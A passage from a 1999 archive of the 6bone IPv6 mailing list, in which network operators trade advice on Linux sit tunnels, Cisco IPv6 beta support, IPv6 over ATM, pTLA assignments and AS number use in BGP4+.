ip addr add 3ffe:240:1::1/64 dev solarisbox
ip route add 3ffe:240:3::0/48 dev solarisbox 

> Best Regards, Tomas Lund

					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Thu Sep 23 12:41:38 1999
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Date: Thu, 23 Sep 1999 21:45:16 +0200
From: Artur Frysiak <wiget@t17.ds.pwr.wroc.pl>
To: Stig Venaas <venaas@itea.ntnu.no>
Cc: Tomas Lund <tlund@nxs.se>, 6bone@ISI.EDU
Subject: Re: Linux with sit0 and several tunnels?
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On Thu, 23 Sep 1999, Stig Venaas wrote:

> On Thu, Sep 23, 1999 at 01:46:15PM +0200, Tomas Lund wrote:
> > 
> > Is anyone out there using linux 2.2/glibc 2.1 to set up multiple tunnels
> > using numbered tunnel interfaces? My setup today looks like this:
> > 
> > ifconfig sit0 inet6 add 3ffe:200:1:1c::2
> > route -A inet6 add 3ffe::0/16 gw ::193.10.66.219 dev sit0
> > route -A inet6 add 3ffe:240:2::/48 gw ::139.58.254.40 dev sit0
> > 
> > The first route is the one to my upstream pTLA (SICS) and the other is a
> > tunnel to another linuxbox (unnumbered tunnel endpoints), but now i need
> > to set up another tunnel to a solarisbox that wants IPv6-addresses for the
> > tunnel endpoints, does anyone know how to do this, I'd hate to spend
> > severaly days experimenting if this information is available somewhere :) 
> 
> You can do
> 
> ifconfig sit0 tunnel ::$IP4END
> ifconfig sit1 up
> ifconfig sit1 add $IP6END/64
> 
> where IP4END and IP6END are the remote IPv4 and IPv6 addresses. You
> can add more tunnels by repeating the first line, you will get sit2,
> sit3 and so on. To use the tunnels you add routes to sit1, sit2..

If you have net-tools >= 1.52 you may do:
$ iptunnel add $TUNNELNAME mode sit remote $IPV4END ttl 64
$ route add fe80::$IPV4END dev $TUNNELNAME
$ route add $IPV6NETWORK gw fe80::$IPV4END dev $TUNNELNAME

or (with iproute2)
$ ip tun add $TUNNELNAME mode sit remote $IPV4END ttl 64
$ ip link set up dev $TUNNELNAME
$ ip addr add $IPV6BONE_I/126 dev $TUNNELNAME
$ ip rou add $IPV6NETWORK via $IPV6BONE_YOU dev $TUNNELNAME

Wiget
-- 
  __    __ _            _
 / / /\ \ (_) __ _  ___| |_  @__mail:  Artur Frysiak
 \ \/  \/ / |/ _` |/ _ \ __|            Rudlice 10
  \  /\  /| | (_| |  __/ |_           98-311 Ostrowek
   \/  \/ |_|\__, |\___|\__|
             |___/           email:   Wiget@t17.ds.pwr.wroc.pl
PGP key: http://www.t17.ds.pwr.wroc.pl/~wiget/pgp.key
Fingerprint16 = 70 DB E0 2D 12 AB C7 31  B6 58 B5 61 B3 98 B6 E6

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Date: Thu, 23 Sep 1999 16:24:18 -0400
From: "Whitmore, Timothy B" <timothy.b.whitmore@lmco.com>
Subject: Query to find IPv6 Support for Following Components
To: "'6Bone List @ ISI'" <6bone@ISI.EDU>
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 <<IPv6_compatibility2.xls>> 

Dear Listees,

I am working on a project to determine IPv6 forward compatibility for a
system that contains the following products.  I am interested in collecting
all information related to whether IPv6 will work on these platforms,
whether IPv6 has been ported to these operating systems and/or whether IPv6
is expected to be available to support these platforms.  In addition, I
would like to collect or be pointed to all patches, fixes, documentation and
first hand experiences as they relate to IPv6 running on these components.
Your help is sincerely appreciated.

I hope my metafile is transmitted properly.  (If not it is attached). 


 <<...>> 



Tim Whitmore
Network System Design
tel:  (609) 722-7378
fax: (609) 273-5379

--Boundary_(ID_jC6yDbK1vjsWdsDKOg1OJg)
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--Boundary_(ID_jC6yDbK1vjsWdsDKOg1OJg)--

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Message-ID: <cd64630c.251c1f42@aol.com>
Date: Thu, 23 Sep 1999 20:26:42 EDT
Subject: Re: Query to find IPv6 Support for Following Components
To: timothy.b.whitmore@lmco.com, 6bone@ISI.EDU
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IOS IP version 6 support is currently under development. However in response 
to customer interest, Cisco's Beta release of IPv6 has been made generally 
available
and offered to allow customer to gain experience with IPv6. It is not 
intended for production deployment at this time and does not represent 
offically supported IOS
functionality - customer issues should be sent directly to 
ipv6-support@cisco.com. 

The current IOS implementation is based on IOS 11.3(5)T and includes support 
for the following functionality: 

 * RIPv6
                                               * BGP4+ for IPv6
 * IPv6 Static Routes
                                               * EUI-64 Addressing
 * Traffic Filtering
                                               * IPv4 <---> IPv6 Address 
Translation
 * Automatic and Static Tunnels
                                               * Neighbour Discovery
 * IPv6 over Ethernet, FDDI, Cisco HDLC and ATM PVCs.
                                               * Dual Stack support for 
Telnet, DNS and TFTP.
 * ICMPv6 and Ping
                                               * Traceroute and Debug Command

Cisco router 1000  ver: 5.1.9
Cisco router 1005  ver: 5.1.9
Cisco router 1600  ver: 5.1.9
Cisco router 25xx  ver: 5.1.9
Cisco router 3620 / 3640  ver: 5.1.9
Cisco router 4000 / 4500  ver: 5.1.9
Cisco router 5200   ver: 5.1.9
Cisco router 7200  ver: 5.1.9
Cisco rsp processors 75xx  ver: 5.1.9

From 6bone-owner  Thu Sep 23 23:09:12 1999
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Message-Id: <005201bcc8b0$7a255ec0$5a27e29f@L3.ict.ac.cn>
From: "Chen xiuzhong" <chenxz@ict.ac.cn>
To: <6bone@ISI.EDU>
Date: Wed, 24 Sep 1997 14:09:53 +0800
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This is a multi-part message in MIME format.

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Hi,everyone,
    I am installing a Redhat6.0 with supporting IPv6.But after I finish =
the system upgrading(including to upgrade the kenel version to 2.2.10 =
and to config the network) and reboot the system,I find the device =
"eth0" cannot be brought up.Using the command "ifconfig",I find a device =
"dummy".In the logfile "/var/boot.log",there is a error "SIGIFINDEX:No =
such device".
=20
Who know why it is so?What can i do to resolve it?
=20
Thx.
***********************************************
Chen Xiuzhong
Network Test Lab
Institute of Computing Technology
Tel: 62565533-9218
***********************************************

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	charset="gb2312"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Dgb2312 http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV><FONT color=3D#000000 size=3D2>Hi,everyone,</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>&nbsp;&nbsp;&nbsp; I am installing a =
Redhat6.0=20
with supporting IPv6.But after I finish the system upgrading(including =
to=20
upgrade the kenel version to 2.2.10 and to config the network) and =
reboot the=20
system,I find the device &quot;eth0&quot; cannot be brought up.Using the =
command=20
&quot;ifconfig&quot;,I find a device &quot;dummy&quot;.In the logfile=20
&quot;/var/boot.log&quot;,there is a error &quot;SIGIFINDEX:No such=20
device&quot;.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Who know why =
it is so?What=20
can i do to resolve it?</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Thx.</FONT></DIV></DIV>
<DIV><FONT color=3D#000000=20
size=3D2>***********************************************<BR>Chen=20
Xiuzhong<BR>Network Test Lab<BR>Institute of Computing =
Technology<BR>Tel:=20
62565533-9218<BR>***********************************************</FONT></=
DIV></BODY></HTML>

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From 6bone-owner  Fri Sep 24 05:16:30 1999
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Date: Fri, 24 Sep 1999 14:14:12 +0200 (MET DST)
From: Tomas Lund <tlund@nxs.se>
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To: Artur Frysiak <wiget@t17.ds.pwr.wroc.pl>
cc: Stig Venaas <venaas@itea.ntnu.no>, 6bone@ISI.EDU
Subject: Re: Linux with sit0 and several tunnels?
In-Reply-To: <19990923214516.S21272@wiget>
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On Thu, 23 Sep 1999, Artur Frysiak wrote:

> On Thu, 23 Sep 1999, Stig Venaas wrote:
> 
> > ifconfig sit0 tunnel ::$IP4END
> > ifconfig sit1 up
> > ifconfig sit1 add $IP6END/64
> > 
> > where IP4END and IP6END are the remote IPv4 and IPv6 addresses. You
> > can add more tunnels by repeating the first line, you will get sit2,
> > sit3 and so on. To use the tunnels you add routes to sit1, sit2..
> 
> If you have net-tools >= 1.52 you may do:
> $ iptunnel add $TUNNELNAME mode sit remote $IPV4END ttl 64
> $ route add fe80::$IPV4END dev $TUNNELNAME
> $ route add $IPV6NETWORK gw fe80::$IPV4END dev $TUNNELNAME
> 

After playing around a bit, this is what i did:

iptunnel add SICS mode sit remote 193.10.66.219 ttl 64
ifconfig SICS up
ifconfig SICS inet6 add 3ffe:200:1:1c::2/126 up
route -A inet6 add 3ffe::/16 gw 3ffe:200:1:1c::1 dev SICS

iptunnel add FLF mode sit remote 138.6.254.7 ttl 64
ifconfig FLF up
ifconfig FLF inet6 add 3ffe:240:ff:5::1/126 up
route -A inet6 add 3ffe:240:5::/48 gw 3ffe:240:ff:5::2 dev FLF

...I like this better since the tunnel endpoints have "real"
IPv6-addresses instead of fe80 ones.
(yes, stupid ifconfig, you MUST bring the interface up first, and THEN add
ip) 

Thanks everyone who helped pointing me in the right direction. :)

Best Regards, Tomas Lund.


From 6bone-owner  Sun Sep 26 18:35:18 1999
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Date: Mon, 27 Sep 1999 09:33:31 +0800 (CST)
From: Maoke Chen <cmk@6bone.ipv6.net.edu.cn>
Message-Id: <199909270133.JAA06025@6bone.ipv6.net.edu.cn>
To: 6bone@ISI.EDU, chenxz@ict.ac.cn
Subject: Information for RedHat6.0 IPv6 Players
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> From 6bone-owner@ISI.EDU Fri Sep 24 16:43:54 1999
> From: "Chen xiuzhong" <chenxz@ict.ac.cn>
> To: <6bone@ISI.EDU>
> Date: Wed, 24 Sep 1997 14:09:53 +0800
>
> This is a multi-part message in MIME format.
>
> ------=_NextPart_000_004F_01BCC8F3.878FFD20
> Content-Type: text/plain;
> 	charset="gb2312"
> Content-Transfer-Encoding: quoted-printable
>
> Hi,everyone,
>     I am installing a Redhat6.0 with supporting IPv6.But after I finish =
> the system upgrading(including to upgrade the kenel version to 2.2.10 =
> and to config the network) and reboot the system,I find the device =
> "eth0" cannot be brought up.Using the command "ifconfig",I find a device =
> "dummy".In the logfile "/var/boot.log",there is a error "SIGIFINDEX:No =
> such device".

> Who know why it is so?What can i do to resolve it?

Please contact 

chen@video.mdc.tsinghua.edu.cn
lixm@neu.edu.cn

they are familiar to IPv6 configuration in any Linux environment.

Good luck,
Maoke


From 6bone-owner  Mon Sep 27 13:37:10 1999
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Date: Mon, 27 Sep 1999 13:36:55 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new 6bone pTLA 3FFE:8070::/28 assigned to UNAM
Cc: Cesar Olvera <cesar@redes.unam.mx>, Bill Manning <bmanning@ISI.EDU>
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--=====================_17326248==_.ALT
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I would like to announce the assignment of a pTLA to UNAM based on the comments
received during the open review period.

Please note that this is a 28-bit pTLA.

--- 

UNAM is the Mexico National University ISP. 

3FFE:8070::/28 
netname: UNAM

<http://www.ip.qwest.net/~david/cgi-bin/whois?atnet-unam>

---

Welcome UNAM to the 6bone backbone!

Bob 

--=====================_17326248==_.ALT
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<html>
I would like to announce the assignment of a pTLA to UNAM based on the
comments received during the open review period.<br>
<br>
Please note that this is a 28-bit pTLA.<br>
<br>
--- <br>
<br>
UNAM is the Mexico National University ISP. <br>
<br>
3FFE:8070::/28 <br>
netname: UNAM<br>
<br>
&lt;<a href="http://www.ip.qwest.net/~david/cgi-bin/whois?atnet-unam" eudora="autourl"><font color="#0000FF"><u>http://www.ip.qwest.net/~david/cgi-bin/whois?atnet-unam</a></font></u>&gt;<br>
<br>
---<br>
<br>
Welcome UNAM to the 6bone backbone!<br>
<br>
Bob <br>
</html>

--=====================_17326248==_.ALT--


From 6bone-owner  Mon Sep 27 20:09:02 1999
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Message-ID: <37F030AF.50785BFB@ms.chttl.com.tw>
Date: Tue, 28 Sep 1999 11:06:23 +0800
From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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To: 6Bone <6bone@ISI.EDU>
Subject: IPv6 over ATM
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Hi:
    I am now interested in 6Tap and have studied the its presentation on july/99.
However, I have some questions.
    
   
I have got routers with ATM interface which support IPv6 protocol stacks. 
Is it right that only if the router support RFC 2492, it can set up IPv6 over ATM
path with other 6Ren peers? In other words, does the RFC 2492 play the same
role as classic IPover ATM or Lan emulation?
                                       Thanks

From 6bone-owner  Mon Sep 27 23:43:06 1999
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From: ksb <ksbn@kt.co.kr>
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To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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Subject: Re: IPv6 over ATM
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In my opinion, ATM is just transmission path for IP packets now.
I mean ATM is the reliable transmission path.
You got routers with ATM interfaces and v6 stacks, so you can
construct a IPv6 network.
If you get AS, pTLA or sTLA and your BGP router is connected to
internation ATM link, you can reach 6TAP.

Then how about the earthquake in Taiwan?

Thanks,
ksb

Yann-Ju Chu wrote:

> Hi:
>     I am now interested in 6Tap and have studied the its presentation on july/99.
> However, I have some questions.
>
>
> I have got routers with ATM interface which support IPv6 protocol stacks.
> Is it right that only if the router support RFC 2492, it can set up IPv6 over ATM
> path with other 6Ren peers? In other words, does the RFC 2492 play the same
> role as classic IPover ATM or Lan emulation?
>                                        Thanks

--
  Kim, Sahng-Beom / Korea Telecom
  TEL :    +82-42-870-8322
  FAX :    +82-42-870-8329
  E-mail :  ksbn@kt.co.kr
--



From 6bone-owner  Tue Sep 28 17:49:54 1999
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Message-Id: <199909290049.CAA11335@givry.inria.fr>
From: Francis Dupont <Francis.Dupont@inria.fr>
To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
cc: 6Bone <6bone@ISI.EDU>
Subject: Re: IPv6 over ATM 
In-reply-to: Your message of Tue, 28 Sep 1999 11:06:23 +0800.
             <37F030AF.50785BFB@ms.chttl.com.tw> 
Date: Wed, 29 Sep 1999 02:49:38 +0200
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 In your previous mail you wrote:

   In other words, does the RFC 2492 play the same
   role as classic IPover ATM or Lan emulation?

=> yes, RFC 2492 plays this role but I believe 6TAP routers
support only IPv6 over ATM PVCs, *not* IPv6 over ATM SVCs
which is far more complex... and not necessary in such a case.

Regards

Francis.Dupont@inria.fr


From 6bone-owner  Tue Sep 28 22:57:33 1999
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From: "Chen xiuzhong" <chenxz@ict.ac.cn>
To: "Thomas Kuehne" <tkuehne1@yahoo.com>
Cc: <6bone@ISI.EDU>
Subject: »Ø¸´: 
Date: Mon, 29 Sep 1997 13:55:21 +0800
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Thanks.
But now, I have another trouble.When I use "ping", I alway get error " name
or server is not known".Futhermore,I find the IPv6 address of the  interface
"eth0"   is not the one which I set up. Please help me setup the correct
IPv6 and DNS.





From 6bone-owner  Wed Sep 29 08:06:44 1999
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To: 6bone@ISI.EDU
Subject: Trying to get on 6bone.. not getting answers from site contacts.
Date: Wed, 29 Sep 1999 11:06:35 -0400
From: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
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I'm attempting to set up a 6bone router at MIT which will provide
native v6 service on a couple of on-campus ethernets as well as
tunnels for folks topologically near campus..

I'm attempting to follow the script in http://www.6bone.net/6bone_hookup.html

I've contacted a couple people who are listed as pTLA contacts in the
past week or so, and haven't gotten any answers yet.  I'm prepared to
be patient, but I have no idea how long to wait; it would be useful if
the 6bone_hookup document set expectations properly by saying
something like, "be prepared to wait a week or two before they get
back to you, these folks are busy".

An addressing model question:

There are a number of folks living near campus with single-IP-address
cable modem connectivity who have their own backend networks and
appear to be interested in playing with v6 tunnels as a NAT
alternative.  Should I just allocate each one a subnet or two of a
single shared site?  Should I be looking at each of these off-campus
households as a "site"?  (assuming i understand the model, this may
mean I'd really want to turn into a pNLA..).

						- Bill

From 6bone-owner  Wed Sep 29 11:15:57 1999
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Date: Wed, 29 Sep 1999 11:15:43 -0700
To: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: Trying to get on 6bone.. not getting answers from site
  contacts.
Cc: Dale Finkelson <dmf@unl.edu>
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Bill,

At 11:06 AM 9/29/99 -0400, Bill Sommerfeld wrote:
>I'm attempting to set up a 6bone router at MIT which will provide
>native v6 service on a couple of on-campus ethernets as well as
>tunnels for folks topologically near campus..
>
>I'm attempting to follow the script in http://www.6bone.net/6bone_hookup.html
>
>I've contacted a couple people who are listed as pTLA contacts in the
>past week or so, and haven't gotten any answers yet.  I'm prepared to
>be patient, but I have no idea how long to wait; it would be useful if
>the 6bone_hookup document set expectations properly by saying
>something like, "be prepared to wait a week or two before they get
>back to you, these folks are busy".

Sorry about that. Yes, I should make it clearer that you often get no
response at all.

My suggestion is to contact Dale Finkelson with the Internet2/Abilene
project as I believe he would host you. I've cc'd him above.


>An addressing model question:
>
>There are a number of folks living near campus with single-IP-address
>cable modem connectivity who have their own backend networks and
>appear to be interested in playing with v6 tunnels as a NAT
>alternative.  Should I just allocate each one a subnet or two of a
>single shared site?  Should I be looking at each of these off-campus
>households as a "site"?  (assuming i understand the model, this may
>mean I'd really want to turn into a pNLA..).

Presuming these folks on cable modems are not on you own MIT network,
rather some cable ISP, they will have to tunnel to you. This means that you
need to decide how to build manual tunnels from your IPv6
router/server/system at MIT to the systems at home. 

Deciding how to do this is a process of deciding whether you build /64 or
/126 or some other form of tunnels (others can debate this on the list for
you).

Note this doesn't require you to be a pNLA, just a regular end-site with
tunnels to your off-site users.


Bob




From 6bone-owner  Wed Sep 29 12:27:39 1999
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From: "Patricio Latini" <platini@fibertel.com.ar>
To: <6bone@ISI.EDU>, "Bill Sommerfeld" <sommerfeld@orchard.arlington.ma.us>
References: <199909291506.PAA04606@orchard.arlington.ma.us>
Subject: Re: Trying to get on 6bone.. not getting answers from site contacts.
Date: Wed, 29 Sep 1999 16:28:09 -0300
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I haven't any problem is give a tunnel to you. Just contact me.
we are open to all the people who want tunnels.

Thanks

------------------------------------------------------
Patricio Sebastián Latini
Network Administrator
Network Operations Center
Fibertel TCI2
Buenos Aires - Argentina
------------------------------------------------------

----- Original Message -----
From: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
To: <6bone@ISI.EDU>
Sent: Wednesday, September 29, 1999 12:06 PM
Subject: Trying to get on 6bone.. not getting answers from site contacts.


> I'm attempting to set up a 6bone router at MIT which will provide
> native v6 service on a couple of on-campus ethernets as well as
> tunnels for folks topologically near campus..
>
> I'm attempting to follow the script in
http://www.6bone.net/6bone_hookup.html
>
> I've contacted a couple people who are listed as pTLA contacts in the
> past week or so, and haven't gotten any answers yet.  I'm prepared to
> be patient, but I have no idea how long to wait; it would be useful if
> the 6bone_hookup document set expectations properly by saying
> something like, "be prepared to wait a week or two before they get
> back to you, these folks are busy".
>
> An addressing model question:
>
> There are a number of folks living near campus with single-IP-address
> cable modem connectivity who have their own backend networks and
> appear to be interested in playing with v6 tunnels as a NAT
> alternative.  Should I just allocate each one a subnet or two of a
> single shared site?  Should I be looking at each of these off-campus
> households as a "site"?  (assuming i understand the model, this may
> mean I'd really want to turn into a pNLA..).
>
> - Bill


From 6bone-owner  Thu Sep 30 07:59:02 1999
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Date: Thu, 30 Sep 1999 16:21:16 +0800
From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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Hi:
    There are RFC2491/2492 for IPv6 over ATM, which play the same role
with CLIP in IPv4. Does anybody know that if there is any specification
of ATM Forum for IPv6 over ATM, which may play the same role as LANE (or MPOA)?
Or if the original LANE specification can apply diretly to IPv6?
    Besides, does any routers support all the above funtions?
                                       Y.J. Chu

From 6bone-owner  Thu Sep 30 11:16:39 1999
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To: 6bone@ISI.EDU
Subject: (re)use of AS numbers in 6bone routing?
Date: Thu, 30 Sep 1999 14:16:29 -0400
From: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
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Is there any document which discusses the (re)use of exisiting ipv4
autonomous system numbers in 6bone routing? I can't find any mention
of it in any of the "obvious" documents on the www.6bone.net site.
rfc2546 ("6bone routing practice") mentions use of BGP4+, but doesn't
mention autonomous system numbers at all..

I'm not a routing expert -- I'm attempting to be cautious / paranoid
here.

What I'm really looking for is a statement of the form "the use of a
site's existing AS number to advertise its 6bone routes to the 6bone
BGP4+ mesh will not cause trouble in the existing production ipv4
Internet, as long as you do _________"

Thanks in advance for any input/assurance/cautions...

					- Bill

From 6bone-owner  Thu Sep 30 17:47:31 1999
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Date: Fri, 01 Oct 1999 08:44:51 +0800
From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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To: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
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Subject: Re: (re)use of AS numbers in 6bone routing?
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Bill Sommerfeld wrote:
> 
> Is there any document which discusses the (re)use of exisiting ipv4
> autonomous system numbers in 6bone routing? I can't find any mention
> of it in any of the "obvious" documents on the www.6bone.net site.
> rfc2546 ("6bone routing practice") mentions use of BGP4+, but doesn't
> mention autonomous system numbers at all..
> 
> I'm not a routing expert -- I'm attempting to be cautious / paranoid
> here.
> 
> What I'm really looking for is a statement of the form "the use of a
> site's existing AS number to advertise its 6bone routes to the 6bone
> BGP4+ mesh will not cause trouble in the existing production ipv4
> Internet, as long as you do _________"
> 
> Thanks in advance for any input/assurance/cautions...
> 
>                                         - Bill


I have one record about this and send to you. You can find it on 6bone mail list also.
 Hope this help:


>       My question is that since a transit site usually have only one backbone
> site(as ISP) connected to 6Bone, should I apply for an ASN just for
> becoming an transit site? I have checked the 6Bone mail archive about
> the topic, but the old discussing seems to be about the ASN in
> provider-based address, not the ASN in BGP4+.
>       Can anyone answer my question? Thanks a lot.

You should be able to use private AS numbers to peer with your
upstream (me) and any downstreams with whom you might also peer.

                                             Y. J. Chu
                                             ChungHwa Telecom. Co.

From 6bone-owner  Thu Sep 30 21:12:40 1999
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Date: Fri, 1 Oct 1999 16:12:23 +1200
From: Joe Abley <jabley@patho.gen.nz>
To: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
Cc: 6bone@ISI.EDU
Subject: Re: (re)use of AS numbers in 6bone routing?
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On Thu, Sep 30, 1999 at 02:16:29PM -0400, Bill Sommerfeld wrote:
> What I'm really looking for is a statement of the form "the use of a
> site's existing AS number to advertise its 6bone routes to the 6bone
> BGP4+ mesh will not cause trouble in the existing production ipv4
> Internet

That's right, as far as I know.

>, as long as you do _________"

I think that's right too, as long as you don't fill in the blanks
with anything :)

I believe that:

 + it is a requirement that ASNs used with BGP4+ to be globally unique
   (if used in a globally-unique context like the 6bone)

 + there is no requirement for IPv4 networks (constructed using BGP4)
   and overlaid/parallel IPv6 networks (constructed using BGP4+) to use
   different ASNs.

 + since the ASNs in use in the global Internet are already globally
   unique, they are good choices for use in a public IPv6 network,
   and this is what people have been doing in the 6bone.

I don't recall seeing this explicitly stated anywhere though. And
I might be completely mistaken in my assumptions :)

Joe

From 6bone-owner  Fri Oct  1 00:37:31 1999
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From: Petri Bernhard <Bernhard.Petri@icn.siemens.de>
To: "'Yann-Ju Chu'" <yjchui@ms.chttl.com.tw>
Cc: 6Bone <6bone@ISI.EDU>, "'af-aic@atmforum.com'" <af-aic@atmforum.com>,
        "'ion@sunroof.eng.sun.com'" <ion@sunroof.eng.sun.com>
Subject: RE: IPv6 over ATM
Date: Fri, 1 Oct 1999 09:36:29 +0200 
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Hi Yann-Ju,

there is no specification in the ATM Forum which is dedicated
to IPv6, but I wouldn't expect any problems in applying the current LANE
and MPOA specifications directly. 

The objective of LANE is to emulate an Ethernet/IEEE802.3 or 
IEEE 802.5 LAN, so it should work with all applications expecting
to run over such a LAN. 

MPOA provides a mechanism applicable to multiple "internetwork
layer" protocols. Within the definition of the term "internetwork
layer" in MPOA, IPv6 is listed as one of the examples 
(among IPv4, IPX, etc.), and also the MIB lists IPv6 
addresses as one of the applicable internetwork 
layer address types.

Kind regards

Bernhard

> -----Original Message-----
> From:	Yann-Ju Chu [SMTP:yjchui@ms.chttl.com.tw]
> Sent:	Thursday, September 30, 1999 10:21 AM
> To:	6Bone
> Subject:	IPv6 over ATM
> 
> Hi:
>     There are RFC2491/2492 for IPv6 over ATM, which play the same role
> with CLIP in IPv4. Does anybody know that if there is any specification
> of ATM Forum for IPv6 over ATM, which may play the same role as LANE (or
> MPOA)?
> Or if the original LANE specification can apply diretly to IPv6?
>     Besides, does any routers support all the above funtions?
>                                        Y.J. Chu

From 6bone-owner  Fri Oct  1 19:46:41 1999
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Date: Sat, 02 Oct 1999 10:43:10 +0800
From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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To: Mario Lorenz <s96412@fh-telekom-leipzig.de>, 6Bone <6bone@ISI.EDU>
Subject: Re: (re)use of AS numbers in 6bone routing?
References: <Pine.LNX.3.96.991001092520.31989A-100000@seru01.fh-telekom-leipzig.de>
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Mario Lorenz wrote:
> 
> On Fri, 1 Oct 1999, you wrote on the 6bone list:
> 
> > You should be able to use private AS numbers to peer with your
> > upstream (me) and any downstreams with whom you might also peer.
> 
> Since I am looking into implementing BGP too, I got a fundamental question
> on this approach: If someone uses private ASNs in the 6bone to do BGP,
> what would happen if I inadvertedly choose to use the very same (private)
> ASN ? To do full BGP, this means that the ASN is announced, and hence has
> to be globally unique...
> 
> The problem here is that I dont have my own IPv4 based ASN, and I also
> wont want to use my providers ASN for BGP, since thats a major ISP, and if
> someone makes a mistake and leaks IPv6 announcemnts into IPv4, whole
> germany will be mad at me.
> 
> Mario
> 
> --
> Mario Lorenz                           Internet: s96412@fh-telekom-leipzig.de
>                                        AX25:     DL5MLO@OK0PKL.#BOH.CZE.EU



The following is another record from 6Bone mail list
 ---------------------------------------
>       My question is that since a transit site usually have only one backbone
> site(as ISP) connected to 6Bone, should I apply for an ASN just for
> becoming an transit site? I have checked the 6Bone mail archive about
> the topic, but the old discussing seems to be about the ASN in
> provider-based address, not the ASN in BGP4+.
>       Can anyone answer my question? Thanks a lot.

You should be able to use private AS numbers to peer with your
upstream (me) and any downstreams with whom you might also peer
-----------------------------------------------


In my opinion, I guess it is only required that the ASNs among your upstream and downstream
are unique. Because after the aggregation, when your upstreams change BGP4+ routing information,
there are no your ASN in the information.

But the above is only what I quess. Hope there is other opinion about this.
                                        Chu

From 6bone-owner  Fri Oct  1 21:55:07 1999
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Subject: Re: (re)use of AS numbers in 6bone routing?
To: yjchui@ms.chttl.com.tw (Yann-Ju Chu)
Date: Fri, 1 Oct 1999 21:54:48 -0700 (PDT)
Cc: s96412@fh-telekom-leipzig.de, 6bone@ISI.EDU
In-Reply-To: <37F5713E.B78A059D@ms.chttl.com.tw> from "Yann-Ju Chu" at Oct 2, 99 10:43:10 am
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> > the topic, but the old discussing seems to be about the ASN in
> > provider-based address, not the ASN in BGP4+.
> >       Can anyone answer my question? Thanks a lot.
> 
> You should be able to use private AS numbers to peer with your
> upstream (me) and any downstreams with whom you might also peer
> -----------------------------------------------
> 
> 
> In my opinion, I guess it is only required that the ASNs among your upstream and downstream
> are unique. Because after the aggregation, when your upstreams change BGP4+ routing information,
> there are no your ASN in the information.
> 
> But the above is only what I quess. Hope there is other opinion about this.
>                                         Chu
> 

You may use private ASNs.  However ASN re-use applies to BGP (and all its
varients). IP versions are irrelevent here.  BGP will detect duplicates
in the path. Most operators treat this as a routing loop and will 
suppress the route.  RTFM on BGP folks.

ASNs show up in some tools...:

Note that the ASN is shown and changes between administrative boundaries.
ASN 1740 only appears in a single set. If it was to show up either before 
AS 226 or after AS 701, then there is a loop.


Tracing the route to ns.ripe.net (193.0.0.193)

  1 triton.cerf.net (198.32.146.20) [AS 226] 4 msec 0 msec 0 msec
  2 atm11-0.lax-bb1.cerf.net (134.24.29.17) [AS 1740] 0 msec 0 msec 4 msec
  3 pos8-0-155M.lax-bb4.cerf.net (134.24.32.230) [AS 1740] 0 msec 4 msec 4 msec
  4 pos6-0-622M.sfo-bb3.cerf.net (134.24.29.233) [AS 1740] 12 msec 12 msec 12 msec
  5 pos4-0-0-155M.sjc-bb3.cerf.net (134.24.32.90) [AS 1740] 12 msec 16 msec 12 msec
  6 atm8-0-155M.sjc-bb1.cerf.net (134.24.29.37) [AS 1740] 16 msec 16 msec 16 msec
  7 San-Jose1.CA.US.EU.net (198.32.136.28) [AS 701] 80 msec 76 msec 76 msec
  8 Sfr-nr01.CA.US.EU.net (134.222.228.18) [AS 286] 156 msec 76 msec 76 msec
  9 Nyk-nr01.NY.US.EU.net (134.222.228.177) [AS 286] 76 msec 76 msec 80 msec
 10 Ldn-nr04.UK.EU.net (134.222.228.157) [AS 286] 144 msec 144 msec 144 msec
 11 Ldn-nr03.UK.EU.net (134.222.160.3) [AS 286] 144 msec 144 msec 144 msec
 12 Asd-nr02.NL.EU.net (134.222.228.129) [AS 286] 340 msec 260 msec 148 msec
 13 s01.overtoom.ripe.net (134.222.249.82) [AS 286] 256 msec 292 msec 224 msec
 14 s10.pampus.ripe.net (193.0.0.54) [AS 3333] 180 msec 172 msec 172 msec
 15 ns.ripe.net (193.0.0.193) [AS 3333] 172 msec 172 msec 172 msec


-- 
--bill

From 6bone-owner  Tue Oct  5 15:14:07 1999
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Date: Wed, 6 Oct 1999 08:13:22 +1000 (EST)
From: Carl Brewer <carl@bl.echidna.id.au>
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Sorry for the spray, but some of you may be interested, and it
is on-topic :)

I've has created a mailing list for IPv6-AU, it's a majordomo list,
so most of you will know how to drive it.  Here's the initial
scope I've given it :  (AU for those who don't know is Australia)

------

The IPv6-AU list is for the discussion of IPv6 issues, including
implementations, configuration, promotion and technical discussions,
with an emphasis on Australian content and Australian implementations.
In this manner it is similar in charter to MBONE-AU.

It is expected that this will be a high signal:noise list, with 
any question answers kept private, unless obviously of list
interest, and summaries posted where appropriate.  Please respect that
the list members are busy people, and overuse of this list will
see it unsubscribed to by those who could best help you.

The list is archived and digests created by majordomo, the archive
location is not yet determined, once it has been established 
its location will be placed in this introduction and a message posted
informing list members of its location.

Once IPv6 is established in Australia it is expected that this list
will either go away or change focus, but initially it is intended
to foster ISP and corporate IPv6 deployment.  Commercial advertising (spam)
